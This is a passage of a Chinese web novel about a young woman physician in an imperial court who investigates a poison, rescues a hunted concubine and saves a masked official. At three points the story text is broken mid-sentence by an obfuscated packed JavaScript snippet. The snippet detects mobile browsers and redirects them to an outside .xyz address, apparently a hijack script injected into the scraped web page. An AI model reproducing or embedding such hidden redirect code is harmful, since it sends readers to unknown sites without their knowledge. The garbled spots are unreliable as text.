十五个字梨花看了半天,左读右读好像不识字了,直到有人出声提醒:“还不叩谢皇恩?” 这声音?梨花抬头,恰见秋水仙一身华丽宫装站在宁洵身侧,宁洵以手背捂嘴似是忍笑半天,“秋美人,朕就说她怂得很,你非说她勇敢,赌输了吧,哈哈哈。” 秋美人?秋水仙竟成了嫔妃。 “是是是,皇上英明。”秋水仙撒娇喂给宁洵一颗葡萄,宁洵张口舔了一下她的手指,浓情蜜意毫不避人。 接二连三的打击让梨花应接不暇,她狠狠掐了自己一把,确认不是在做梦。 “行了行了,别谢了,给公主诊脉去吧。”宁洵懒得理她,搂着秋水仙走了。 从芷沅宫出来,内官突然道:“方医官,先前是皇上不许奴才告诉您,冒犯之处您多担待。” 梨花的天空终于亮了,大亮特亮!喜得她站在原地蹦了三蹦,内官笑呵呵看看她,等她蹦够了才引路去明月宫。 ———— 明月宫花园里,宁照夜正敷着芙蓉膏荡秋千,美美享用内官剥好的核桃,内官跪在地上剥得手指红肿,正是打梨花巴掌那个。 梨花过来,宁照夜顶着张大白脸不说话,梨花直挺挺站着也不说,宁照夜屏退众人道:“你没话要对本公主说吗?” 梨花噔噔噔跑到宁照夜身后推秋千,极尽谄媚道:“公主殿下貌美如花,心地善良,女中豪杰,宽宏大量……” 宁照夜冷哼,“别以为你说几句好话,我就会原谅你几次当众让我下不来台。” 梨花嘴一瘪:“哦,原来公主不喜欢听好话,那我说点难听的。” 宁照夜正要炸毛,却听梨花道: “公主殿下斤斤计较,马球赛输了非把别人家芙蓉膏一瓶不落买空了。” “公主殿下小肚鸡肠,听说女子想考太医院无门,非要人家参考亲眼见证失败。” “公主殿下心怀鬼胎,怕有人在考试中做手脚,自己坐镇监考……虽然屡次睡着。” “公主殿下心胸狭隘,被别人当众公开难堪病症,逼迫人家入太医院继续给她治病。” 她知道?她竟然都知道。 宁照夜感觉心里痒痒挠又挠不到,荡着秋千好像飞上了天,明明被捋顺了毛嘴上却嫌弃道:“行行行打住,我说你这个人真是……” 梨花不等她说完跪在她面前,郑重磕了三个头。 “感谢公主慷慨解囊救我于水火。” “感谢公主给我公平参加院考的机会。” “感谢公主最后拉我一把进太医院。” 宁照夜被她严肃的样子弄得不知所措,“你起来。” 梨花抬头望她没动,她又道:“治不好本公主的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16131568|176306||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 病,还要治你的罪!” 梨花道:“谨遵公主殿下之命。”她站起,两人对视一眼同时发笑。 宁照夜嗔怒:“就你话多,害的本公主脸都干了,本公主要净面,你快滚吧。” “得嘞,这就滚!” 梨花走到门口站住脚道:“小老鼠,别光吃东西,长嘴要好好说话!” 她说完一溜烟跑了,留原地一串“啊啊啊啊啊”长长的咆哮。 ———— 明月宫外,内官等候多时,他身旁站了个慈祥的嬷嬷,内官道:“仁德太后娘娘要见您。”仁德太后也是保举她参加院考的人之一,是该去谢恩,梨花随嬷嬷而去。 慈宁宫中,仁德太后坐在软榻上,一张写满字的纸遮去她大半张脸,梨花仰望这位高高在上的妇人,难以想象她如何渡过异国他乡的漫长岁月。 不知过了多久,仁德太后终于露出脸,面容略带风霜,眉目稳如深潭,梨花很难把凤榻上雍容华贵的太后与难民营风尘仆仆的盈娘联系在一起,但这张脸分明就是盈娘。 她有种说不出的亲切,又有种莫名的害怕。 杨盈道:“你说一人之命与百人之命同样重要,公主和亲、皇子为质向来是维护国家稳定的手段,牺牲一人能救百人,何乐而不为呢?” 原来她看的是梨花关于“弃一人救百人”的论辩,梨花愣了一瞬慌忙跪下,“民女胡乱写的,污了娘娘的眼睛,请娘娘恕罪。” “哦,胡乱写?这么说你认为应该弃一人救百人了?”她的声音洪亮不足威严有余,听得梨花心惊胆战。 杨盈是被牺牲的当事人,回答应该说明杨盈必须去吃苦受罪,回答不应该说明先帝派她为质是错的,这个问题就是在悬崖上走独木桥。 梨花沉思一下道:“没有人该被牺牲,除非他是自愿的,不能被武力逼迫,不能被道义绑架,他可以自我献祭,也可以临时反悔。” 听了她的话杨盈笑得前仰后合,对身后的嬷嬷道:“你瞧瞧她多会说,鬼灵精一个。” 杨盈起身一步步走到梨花面前,“之前不是还一口一个姐姐,现在怎么不叫了?” 要知道盈娘是太后,借她一万个胆子也不敢乱攀亲啊,她立马跪下,“民女不敢。” “是不敢还是不愿?本宫离宫多年,回来早已物是人非,身边只剩杨贞一个亲人,连你也要弃我而去吗?” 想起分食馒头共赏明月的场景,梨花此刻觉得她好像只是杨贞的姑姑,一个孤独的深宫妇人,“娘娘嗯义梨花铭记在心。” 宫女传话已经备好饭菜,杨盈牵着梨花坐到桌前,夹一块鱼肉给她,“我记得你说过想吃宫里的美食,这些都是为你准备的。” 梨花受宠若惊,想矜持一下却根本忍不住,连吃带拿塞了满嘴,边吃边道:“我当时找赵世成求救,没想到他是大坏蛋,幸好碰到个大官。对了,我还见到了小川,就是抢我馒头那个,你还记得不?” 杨盈拿手绢擦梨花油乎乎的嘴,“记得。” “小川说你不知所踪,我难过了好久,没想到你就是他们说的女菩萨。可是你为什么会流落在外,甚至要杨贞坠楼才……” 说到这儿梨花才意识到自己得意忘形了,悻悻放下鸡腿一脸菜色。 杨盈道:“有人不想让我回来,可我一定要回来。”她眼中的狠厉一闪而过,“你可听过离魂散?” 梨花表情怪异,下一刻就听到石破天惊的话,“先帝不是病逝,而是被离魂散害死的。” 32. 新官上任 梨花魂不守舍从慈宁宫出来,杨盈要她借机查明先帝死亡的真相,甚至差点向她下跪,她赶忙扶起杨盈苦笑,自己哪来这么大本事,可她敏锐察觉,若不答应别想活着出去。 从宫里出来她便去太医院上任,人事司早就准备好委任状,派她去惠民药局。 不同于典药局等为宫廷和贵族服务的地方,惠民药局是太医院一个下辖机构,专为贫民诊病和售药,开设义诊,要前途没前途,要油水没油水,是太医院内部的“流放”之处。 惠民药局坐落在城西,穿过几条小巷,终于在一大片民房中看到一个略高大些的院子,头顶牌匾依稀能分辨出“惠民药局”四个字。 梨花敲门无人应,她试着一推,门嘎吱一声开了。院中杂乱堆放各种药材,其中一片药材上躺了三个男人,身旁倒着许多酒坛,不知是宿醉未醒还是大上午就喝上了。 梨花试探问道:“我是新来的医吏方梨,请问找哪位报到?” 左边人醉醺醺道:“你他妈爱找谁报到找谁报到。” 右边人揉揉眼,拍拍中间人,“三哥,我是不看错了,好像来了个女人?”太医院什么时候有女人了,他以为自己还在做梦。 中间被称为三哥的人闻言坐起来,他伸个懒腰将信将疑接过委任状查看,笑着道:“确实是太医院文书,我是惠民药局副使陈三,这两位也是这里的医吏。” 梨花道:“陈副使好,我是新考进太医院的,以后请您和二位前辈多指教,您看给我安排些什么工作?” 左边人酒醒一些,骂骂咧咧道:“这鸟不拉屎的地方干屁的工作,再用心也是为他人做嫁衣。”右边人踢他一脚,他才反应过来自己说错话了。 陈三面露尴尬道:“方姑娘,此处一直就我们三人,没什么安排不安排的,我虽是副使,但大家有活一起干。昨日接到通知要来一位正使大人,后面的事全凭正使大人安排了。” 从他的话梨花猜个七七八八,大约陈三该升官成正使了,突然空降一位领导,骂人的医吏为他打抱不平呢。 右边人道:“听说是位太医,太医哪会来我们这里,怕是犯了什么错被贬了。” 话音未落,门外传来一道声音:“你觉得我犯了什么错?” 真是说曹操曹操到,左边人爬起来骂道:“你他娘的装……”他话未说完被陈三喝住,“住口,杜院正岂容你冒犯?” 稳坐太医院第一把交椅的杜院正?左边人彻底酒醒了,站在原地不敢抬头。 梨花不可思议回头,正见杜仲迈步进来,他道:“没有杜院正了,今后我就是这里的正使。济善堂义诊,谁与我同去?” 愣了片刻梨花举手,“我我我。”陈三表示也要去,杜仲说人够了雷厉风行走了,梨花慌忙跟上去。 梨花问:“您是因为我才被贬的吗?”作为公主的御用太医,医治不力被贬。 杜仲:“正常工作调动。” “正常哪有往下调的。” “不用管那么多,做好你的事。” 他不想聊,梨花只好不说,一路沉默去了济善堂。 ———— 济善堂是官办的福利机构,主要扶孤养寡,有时也收留一些无家可归的人,惠民药局隔几天派人来义诊一次,梨花他们过去的时候济善堂门外支起一个摊子,摊前排起长龙。 梨花道:“济善堂限购糕点吗?怎么还排队。” 队尾的人道:“今日谢老夫人来布施。”梨花心道:谢老夫人倒是心善。 杜仲在摊子后找一个空位坐下,随他而来的青年医吏拿出脉诊和笔墨纸砚,立上义诊牌子。 济善堂堂主奇怪,“阁下是?” 杜仲对他微笑,“好久不见。” 堂主想了一下恍然大悟,握住杜仲的手大笑:“杜医吏!” 青年医吏想纠正他的称呼被杜仲拦下,堂主道:“正缺大夫呢,就把你给盼来了,李大夫没和你一起来?” 杜仲皱眉,“怎会缺大夫,惠民药局的人呢?” 堂主叹气,“自几年前你们走了,也就陈医吏来过几次。” 杜仲道:“我回来了,以后我会定期过来。”堂主乐地拍手,百姓陆续排队,青年医吏在旁侍候笔墨,梨花分发药材。 梨花悄悄观察杜仲,前两天还是一院之首的人,现在却混在贫民百姓堆里,不但看不出任何厌烦恼怒,反而十分自得。 她曾在医案上看到过他与李守仁作医吏时义诊,想必就是这里,当年他们似乎关系不错,为何现在对这个名字讳莫如深? 正神游,青年医吏小声道:“你果然进太医院了。” 梨花奇怪:“你认得我?” 青年医吏笑道:“我也负责院考报名,看见你捐官不成抱着银子跑了,紧接着来了几个锦衣卫说我们占道经营。” “占道经营?”好离谱的理由,锦衣卫果然无法无天,可这与她有什么关系。 “他们把老大抓走打了一顿,老大回来一言不发重填了你的报名表,那时我就猜你肯定背景深厚,不过看你被分到这里,也没那么厚。” 梨花心头一震,谢舟居然……他怎么从来没和自己提起过。 这边义诊,那边谢老夫人马车到了,几个下人有序搬东西,有吃喝衣物,也有常用药膏,谢老夫人没露面直接进了善堂。 梨花他们的药不一会儿就发完了,青年医吏回去取药,杜仲与堂主在一旁叙旧,梨花无所事事在善堂里转悠,走着走着到了一间屋外,听见里面有人说话: “你一定保佑谢家子孙兴旺,舟儿早日开枝散叶,谢家繁荣昌盛……” 梨花奇怪,竟有人在此祝祷?拥挤的善堂辟出一间单独的房间供神,想来堂主也是信佛之人。这时,一只野猫从脚下窜过,梨花吓得尖叫,一个妇人推开门:“何人在此喧哗?” 梨花认出这是谢老夫人身旁的妈妈,便道:“我是惠民药局来义诊的医吏方梨,意外来此,扰了谢老夫人清净。” 谢老夫人没说话,梨花顺着门望进去,桌案上供的是一尊武神菩萨,老夫人手持礼香,那香外表光滑,没有杂味,烟雾笔直向上,梨花叹道:“这香仿佛可直达天听。” 那妈妈得意道,“这是从天承寺请的香,高僧加持,专供谢家的。” 谢老夫人将香插进香炉出来,妈妈锁上门,梨花道:“老夫人心善,神仙会保佑您达成所愿。” 谢老夫人余光瞟她一眼,带着妈妈离开,梨花无奈歪头,目送冷面善人离去,忽听得旁边房间里咔嚓一声,像是扫把倒了,梨花取下柴房虚挂的锁,一个衣衫破烂的人将头埋在膝盖上瑟瑟发抖。 她走近拨开那人的头发,露出一张熟悉的脸。 “鸳夫人,你怎会在此?”上次见她还是在高彪灵堂上。 鸳夫人疯狂摇头:“不要杀我,我不知道。” “谁要杀你?为什么要杀你?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16144506|176306||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “我不知道什么离魂散,求求你放了我。”鸳夫人一边哭喊一边邦邦磕头。 又是离魂散,这东西最近是缠上她了吗,人人都要跟她提一嘴。鸳夫人已失去神智,梨花在她后颈轻刺,她立刻晕过去。 这时候堂主闻声赶来,见到靠在梨花肩头的鸳夫人道:“一个月前我外出时碰见此女受伤便带回来,醒来才知道是个疯子,她到处乱跑,怕她伤已伤人,只好将人关在柴房。” 梨花凉飕飕道:“没地方安置人,倒有地方供神。”堂主心虚地抹了把汗正要解释,她直接打断:“此人与我是旧识,我带走了。” 堂主巴不得把人送出去畅快放行,正好青年医吏取药回来,她托他把人背回去,自己留下来赠药。 ———— 义诊一忙就忙到晚上,陈三和另外两名医吏已经将房间收拾出来,院子打扫干净,初俱医署规模,其他人都是两人住一间,杜仲住正使大屋,梨花住杂物房,鸳夫人也被安置在此。 她是惊吓过度乱了心神,梨花为她施针喂药,她渐渐缓和,梨花坐在床边出神。 先帝和高彪都是中离魂散身亡,一个是五年前,一个是五年后,这两人有什么联系?又是什么人追杀鸳夫人?用这么隐秘的毒药是想掩盖什么? 这些事与她毫无关系,偏偏被卷入其中,都是要命的事,想想就头疼。 算了,爱谁谁,梨花自暴自弃准备吹蜡烛睡觉,却发现根本没有她躺的地方,房间里除了一张床只有大小不一的许多木箱。她打算把木箱拼起来当床凑活一晚,躬身一搬差点折了腰。 看着不大点的木箱无比沉重,里面满满当当写过的纸。哪个大神把纸当宝贝珍藏啊!梨花无声咆哮,认命的一点点把纸搬出来,随意一翻,发现竟是某个人的手札。 纸张泛黄,看来已经放了许多年,因为沾染药味才没被老鼠啃了。手札上有时记载义诊经过,有时记载药物实验,还有研究针灸把自己扎晕的经历。 梨花越看越来劲儿,这人也够有钻研精神的,扎晕一次不够,他还要尝试不同穴位组合扎,往后翻竟看到移穴之法,那人写道:“今日又试出一种针灸之法,我取名移穴之法,与前面已有的放在一起装订成书,就叫《针灸实录》,明天一早告诉杜兄,不,现在就去告诉他。” 原来《针灸实录》是李守仁所作,杜仲口中爱医成痴的老朋友就是他。 “牵丝引让人飘飘欲仙,我说这是毒药,杜兄说酒也是毒药,哈哈哈。” “牵丝引去掉曼陀罗会让人严重头痛呼吸不畅,看来是曼陀罗蒙蔽的人的痛觉,重大发现,告诉杜兄!” 他每写完一段在结尾画个圈圈,接着写下一段,这是省纸行为,梨花为什么知道,因为老爹和他一样抠门,他们若相识,定也志趣相投,梨花看得津津有味。 “把曼陀罗换成雷公藤,能减弱头痛症状,有人误食可能被当成其他病症治疗,幸好雷公藤有淡香,不然当成牵丝引吃了岂不要命?” “杜兄突发奇想要编一本毒经,记录天下毒药,他给这药取名离魂散,我说还未研究出解药,不想把他放进毒经里。” “最近杜兄很不对劲,我们吵了一架,我说‘医者掌阴阳,一念生,一念死,当大夫要有良心。’杜兄说良心不能当饭吃,我知道他想回太医院,他有妻儿老母要顾。” 看到此处,梨花手中手札“啪”的落地,这是老爹对他说过的话。 李守仁是老爹? 33. 配合默契 梨花确定李守仁就是老爹李半天,难道离魂散是他交给什么人的?那人要过河拆桥所以老爹才逃跑?现在事情败露又来抓老爹? 杜仲之所以讳莫如深,就是知道离魂散的前因后果,梨花决定当面找他问个清楚。 次日一早,杜仲房间内,两人对坐面面相觑,桌上正中一枚太医令。 太医令背后的李字已经磨得褪色,显然令牌主人时常把玩,杜仲摩挲令牌,“他还好吗?” 梨花哽咽:“不好。” 杜仲提起一口气又咽下,满是惆怅:“我以为他远离是非能活得快活自在,你是他什么人?” 梨花道:“养女。我本是个小乞丐,得老爹收留,传授一身医术,他是我最重要的人。” 五年前梨花全家遭逢变故,幼小的她一路乞讨,被化名李半天的李守仁所救,两人在西北停留。梨花极有眼色,帮李守仁收拾院子、晒药捣药,李守仁中年光棍一条,忽然得了个贴心小丫头,自然而然收了她当闺女。 第一次当爹,李守仁也不知道怎么做,只想把最好的东西给她,而他心中最好的就是医术,偏生梨花于医药颇有天分,李守仁感叹:“天定的父女和师徒缘分。”便将一身医术倾囊相授。 杜仲笑笑:“难怪,你们很像,他把你教得很好。” 梨花道:“西北天高海阔确实自在,可究竟是什么样的是非能把他从京城逼到这偏远之地?他的医案停在五年前,人事司说他官位低微没有记录,身为最好朋友的您缄口不言。” 杜仲怔了一下,又听梨花继续道:“难道是因为离魂散?” 杜仲眼眸晦暗,“我不知道你在说什么。” 梨花跪在杜仲面前泪眼婆娑,“老爹突然失踪生死未卜,我费尽力气进太医院就是为了找寻他的踪迹。” “失踪?” “几个月前村里来了外人,他们点名找李守仁,摆明就是冲着老爹来的。我不知他是自己离开还是被人抓走,等我回家,家里便只剩这枚太医令。” 梨花膝行向前摇晃杜仲的胳膊,“伯父,老爹在躲什么,谁要害他,您一定知道对不对?” 杜仲闭上眼长叹一口气,拍拍梨花肩膀,“好孩子,不要再管这件事了,离开京城,走得越远越好。” “为什么,老爹他……” 梨花话未说完,外面传来青年医吏急切的敲门声:“大人,您见到方医吏了吗,我有急事找她?” 梨花擦去眼泪开门,青年医吏道:“你房中女子不见了!” 鸳夫人不见了? 梨花回望杜仲眼神坚定,“不弄明白这件事我不会罢休。”说罢匆匆回房。 床榻冰凉鸳夫人已经走了许久,看来从她一出门她就离开了,兴许一整夜没就睡等机会逃走。有人因为离魂散追杀她,跟着她说不定能探到离魂散的线索,梨花循着脚印追出去。 脚印一路通往城郊树林,那里有野兽出没,城里人一般不敢进去。为了躲避追杀不惜逃进树林里,到底是何人追杀她?追杀她的人很可能就是用离魂散害人的幕后凶手。 梨花快步跟上去,走了大约一炷香就看到扶着树深一脚浅一脚往前跑的鸳夫人。 她惊吓过度身体孱弱,脚下一滑从土坡上滚下去,梨花忙上前扶她,她下意识说谢谢,待看清梨花的脸后惊恐尖叫。 梨花奇怪道:“你为何怕我?” 鸳夫人抱头当鹌鹑,梨花又道:“别装傻,实话实说我还能救你,追杀你的到底是什么人?” 鸳夫人声音颤抖:“谢舟。” “不可能。” 梨花下意识反驳,说完又觉不妥,问道:“你确认是他?” 鸳夫人道:“与我家老爷有仇的只他一人,那天你们来灵堂,我就知道迟早要出事,可我真的什么都不知道,老爷已经死了,他为何还要对我穷追不舍?” 当年的事梨花也听说一些,最早便是高彪收到边疆来的密信,高彪检举谢谦,然后官兵在谢谦家中搜出与敌军往来的信件,谢谦被下狱。鸳夫人是高彪的爱妾,难怪鸳夫人这样想,梨花道:“这都是你的猜测,谢舟不是会迁怒他人的人。” 正说着,耳边传来“嗖嗖”两声箭矢,梨花回头,远处出现几个骑马的蒙面黑衣人,箭是冲鸳夫人而去的,她来不及多想,拉起鸳夫人就跑。 夏日树木交错,两人在密林掩映下跑了一阵,找到一棵古树的树洞躲进去,用树枝掩住洞口。树洞内部空阔,有人为开凿痕迹,可能是猎户为了躲避野兽专门挖的,树壁有刻出的凹痕,可以踩着爬上去。 第一节刻痕有些高,梨花半蹲让鸳夫人踩着她的肩膀上去,两人一前一后往上爬,爬了半天不见顶。抬头一片黑压压无尽头,低头黑洞洞似深渊。 鸳夫人腿软再爬不动,筋疲力尽道:“够高了,他们追不过来的。” “不成,得爬到顶,半中央挂着要困死。” “我死也不爬了。” 话音未落就听外面声音清晰传进来,“下马找,她们跑不远。” 洞中不知时间,她们以为爬了许久,谁知才到黑衣人头顶的高度。 黑衣人挥刀砍草,声音吓得鸳夫人踩空一节险些叫出声,梨花立刻伸手托住她的脚,感觉下面有支撑,鸳夫人才勉强站稳。 梨花冷哼:“不想爬就跳下去摔死,还痛快些。”她被实实在在踩了一脚,说话没好气,鸳夫人反倒不敢再讨价还价,窸窸窣窣继续爬。 又不知爬了多久,鸳夫人再次停住,“我真得不行了。”她身娇体弱确实爬不动了。 梨花笑着安慰:“再坚持一下,马上到顶了。” 鸳夫人抬头,仍旧一片漆黑看不到顶,她问:“你如何确定?” 梨花道:“呼吸越来越舒畅,说明有通风的地方。” 鸳夫人似乎被风吹到抖了一下,“确实,我感受到风了。”她深呼吸又开始爬。 黑暗中梨花摇摇头,哪有风从顶往下吹的,绝境中的人给根稻草就能救命,但愿快点到顶吧。 “啊!”鸳夫人突然低呼,“我摸到顶了。”梨花呼出一口气,两人配合用力一推,一块板子被推到旁边,头顶日光照进来。 她们所在的位置是树冠,距离地面三丈高,目之所及一片森绿,此处简直是观察猎物的绝佳据点。 低头俯瞰,几个黑衣人正以大树为中心四散寻找,他们手中拿的分明就是锦衣卫的绣春刀,竟然真是谢舟,梨花心有些沉,继续向下观望。 一人道:“明明见她们来此,怎么突然不见了。” 另一人道:“脚印到这里就消失了,除非是长了翅膀飞到树上。” 黑衣人抬头向上望,鸳夫人吓得一哆嗦,身子往回缩。 梨花道:“这么躲着不是办法,他们迟早会找到我们。” 黑衣人叫道:“这里有个树洞!” 鸳夫人大惊:“怎么办? ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16186228|176306||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他们要追上来了。” 梨花想了一下道:“他们要的是你,我引开他们,你躲好趁机逃跑。”两人换了衣服。 大树垂下许多枯藤,梨花挑了粗壮的藤条绑在腰上,以前爬山采药时,有的山堪称绝壁,绑树藤或绳子才能行走,没想到经验在这儿用上了。 她绑着树藤在树间行走,走到离树洞很远的一棵树,故意喊道:“啊呀!” 黑衣人闻声看去,见一个女子躲在树上,似乎很惊恐,发现树洞的黑衣人也转头向梨花而去。 他们会轻功,马上来到梨花身旁时,她从树上跃起,借藤条荡到另一棵树上,她换位置,黑衣人立刻追上,为了防止鸳夫人被发现,梨花越荡越远,像逗猴子一样把几个黑衣人耍得团团转。 黑衣人恼羞成怒,站在树下的几人搭弓射箭,一支箭从梨花脸颊擦过,她不会武功,堪堪躲过。 屋漏偏逢连夜雨,又一支箭射来,藤条不够长,她再次转身时,藤条竟卡在树杈上动不了,她吊在半空直接成了活靶子。 箭头近在眼前,梨花吓得闭眼,这时空中“当”的一声,一柄刀鞘凭空飞来截断那支箭,不知从何处出来一个戴面具的男子。 梨花奇怪,深山老林此人哪里冒出来的,戴着面具不敢见人,不过看起来是友非敌。 男子与黑衣人打起来,一对多仍打得有来有回。一个黑衣人见打不过,转身跳上树攻击梨花,男子丢出刀捅穿那个黑衣人。 梨花大呼:“小心身后。” 男子立刻回头抵挡偷袭,不料这只是幌子,另一人趁机撒出迷药,男子失去视野胳膊挨了一刀,这样下去他必死无疑。 藤条卡死,梨花在树杈间扭动,转而看见黑衣人胸前的刀,她用脚勾住树杈把自己挪过去,拔出刀砍断藤条。 “接着。” 男子耳力好,稳稳接住梨花扔来的刀,向后一扎击退身侧的黑衣人,并趁此机会放出信号弹。 梨花从树上爬下来喊道:“我来当你的眼睛。” 男子微微点头蹲下,梨花爬上他的背,男子莫名颤了一下,梨花道:“我很重吗?”男子摇头随后开打。 她说“左一”,男子便向左前一步位置砍去,她说“右五”,男子便上前五步再砍,每一刀都不落空。 梨花拍拍男子的肩膀:“兄弟,好功夫!”这时身后有人靠近,她眼一眯甩出藤条倒勾住那人的脖子,男子背着梨花猛一转身,那人直接被藤条绞死。 梨花松开藤条道:“兄弟,好默契!不过我建议——快逃。”又一波黑衣人杀来。 她跳下来抓着男子的手就跑,男子虽不能视物但武功底子在,有梨花一路提醒,他带着梨花半跑半飞。 跑了不知多久,身后的声音渐渐消失。梨花感觉自己手上滑腻腻的,这才注意到男子的手臂一直在渗血。 她停下来挣脱男子的手,男子侧头给她一个疑惑的姿态,梨花道:“没人追了,也许是你的援兵到了,我先给你看看。” 梨花一摸,却发现男子的脉搏浅得快停了,刀上有毒,毒素在他体内发作,梨花道:“我带你回去解毒,你再支撑一下……” 话未说完男子吐了一大口黑血晕过去。 梨花道:“兄弟,我知你不想以真面目示人,但救人情急还请原谅。”她揭下男子的面具,没想到这人竟是谢舟。 他既然派人追杀鸳夫人,又为何蒙面救她?他究竟想做什么? 34. 通敌密信 此刻救人要紧,梨花来不及多想要带谢舟走,可昏迷的人死沉死沉的,她无论如何也拖不动。 这时前方远远走来一个背着斧头的少年,梨花大喊:“救命啊!”那人闻声回头,梨花眯眼瞧见居然是陆鹏。 自院考结束,梨花事情一件接着一件,还没来得及看望“室友”,没想到在这里遇见。 陆鹏斧头一扔跑过来:“哎呀妈呀,谢大人这是怎么了?” 梨花:“很显然,快死了。” 陆鹏:…… 这冷笑话一点都不好笑。 她本是来山林寻合适的老木打棺材,阴差阳错碰见他们二人,她搬起谢舟一甩背在身上,用麻绳捆好腰部,背起人就走。 梨花拿着斧头跟在后面为她竖大拇指:“果然女中豪杰。” 陆鹏得意一笑,“背尸体可是我的看家本领。”说完觉得不合适,人家还没死呢,又说,“背活人也一样,正愁没机会报答谢大人呢。” 梨花问:“你为何要报答他?”他们何时有的交情。 陆鹏边走边说气都不大喘,“我一回家就被我爹绑起来押上花轿嫁人,说是对方死了三任老婆不嫌弃我克夫。我呸,我还嫌弃他呢,当夜就把他命根子踢断了,闹起来被关进大牢。” 梨花奇怪:“那你现在怎么回事,又怎么和谢舟扯上关系了?” 陆鹏眉飞色舞道:“好像这臭男人和锦衣卫查的一桩案子有关,连带查出前三任妻子都是被他杀害抛|尸的,我就被放了。谢大人雇我当锦衣卫的仵作,我现在可是有靠山的人。” 梨花心想:靠山?怕不是被他利用而不自知。口中却道:“他可真好心。” 陆鹏点头,“谢大人人很好,他还把庚娘和小丫也送回家了,有他撑腰没人敢欺负她们母女。” 梨花挑眉,难道他真的大发善心?那鸳夫人的事怎么解释。 说话间已经来到义庄,这里是最近的休憩之处,且远离人群。 陆鹏把谢舟放到棺材板上,梨花查看他受伤之处,伤口不算深,毒也不高级,放在平常能轻松解毒,只是她出门匆忙什么都没带,于是先让陆鹏去买伤药。 梨花觉得谢舟最近很不对劲,调查离魂散,追杀鸳夫人,蒙面出现,刻意接近她…… 她蓦地想起自己被人扇巴掌时他出手相救的模样,他很少在外人面前显露他们的关系,顶多是雇主与凉茶供应商的交情,谢舟怎么会当众出手,除非…… 除非他已经查到她是李守仁的女儿,谢舟是李潇的人,她却与杨盈有旧,定是因为离魂散想把她拉到同一阵营,真是好计谋。 谢舟很可能与先帝中毒之事有关,他的命就掌握在她手里,他死了她就能向杨盈交差。甚至不需要她动手,只要见死不救就好。 毒液逐渐蔓延,谢舟的脸色发青。 院考那天浑浑噩噩许多事没来得及细想,可他愤怒和关心的神情是真的,现在又为救她受伤。 梨花觉得再怎么样救命之恩也得报,她脱去谢舟上衣张口正要吸走毒素,想到男女有别她又停住。 思虑再三梨花对自己说:“当初自己也给他看过肩膀,两人甚至共饮一口酒,解毒而已何必扭捏。” 她低头趴在谢舟肩上,伤口五寸长,她从上往下一点点用力吸。 谢舟恢复一半知觉却睁不开眼,他觉得身上某处异常酥麻,时而软绵绵,时而湿哒哒,一下刺痛,一下凉爽,这种奇异的触感带着全身不断飘向云端、掉下悬崖。 好复杂的感觉。 他身上痒,心也痒,想挠却动不了,他心中咒骂,什么人竟敢这样折磨他,他要立刻把这人剥皮抽筋。 凭借强大的意志谢舟勉力睁开眼,看见一张熟悉的脸。 那人双手抱住他的胳膊,唇瓣紧紧贴在伤口处一拱一拱,她很小心,可牙齿还是偶尔磕到伤口,她就轻轻吹气,嘴撅得圆圆的。 更复杂的感觉。 一炷香后,毒素基本吸干净,梨花嘴都麻了,一直保持低头的姿势头也发昏。 这时买药的陆鹏姗姗归来,一进门吓一跳,她道:“梨花,现在做这种事不好吧?”哪有在病人面前亲嘴的,还亲成这副德行。 梨花嘴唇红肿双眼迷离,有气无力痛骂:“这天杀的垃圾毒药,毒性不强窜得倒快。” 原来是用嘴吸出毒素,陆鹏抿嘴讪笑,“这样啊,是我龌龊了。诶,谢大人你醒啦?” 梨花回头,谢舟已经坐起来,她喜道:“没事了!”抬眼瞟见谢舟白花花的身子,发现自己手还抱着他的胳膊,慌忙后撤解释:“我是在帮你解毒。” 她要抽走手,却被谢舟握住,身子一闪跌回去,和谢舟来了个脸对脸。咫尺之间,谢舟的眼神仿佛要洞穿她,她听到自己剧烈的心跳声。 怎么有种心虚的感觉? 不对,她又没做错事,该解释的人是谢舟。 梨花另一只手拿过面具,“谢大人,不解释一下吗?” 谢舟心中翻江倒海,又一次失控了,越是这样他越想克制自己,他害怕这种感觉,大手一挥捏碎了那张面具,“没什么好解释的。” 气氛突然剑拔弩张,陆鹏隔开二人,“哎呦我的谢大人,小的为您包扎。”自从得了谢舟好处,陆鹏变得十分谄媚狗腿。 此毒会让人全身酸软,谢舟暂且留在义庄,陆鹏欢快地出去找干草给他铺床。 梨花不想触霉头,坐得远远的,后来坐也不想坐了,鸳夫人可能还挂在树上,她得回去看看情况,便找了个理由,“那个,我有东西落在树林了,我回去取。” 她刚走到门口就听谢舟冷哼,“取什么?高彪的爱妾吗?” 他果然知道鸳夫人在那儿,他就是冲着鸳夫人去的,亏她还帮他说话,梨花气愤之余试探问:“你要杀了她吗?” 谢舟道:“清溪看到信号应该已经救走她了。” 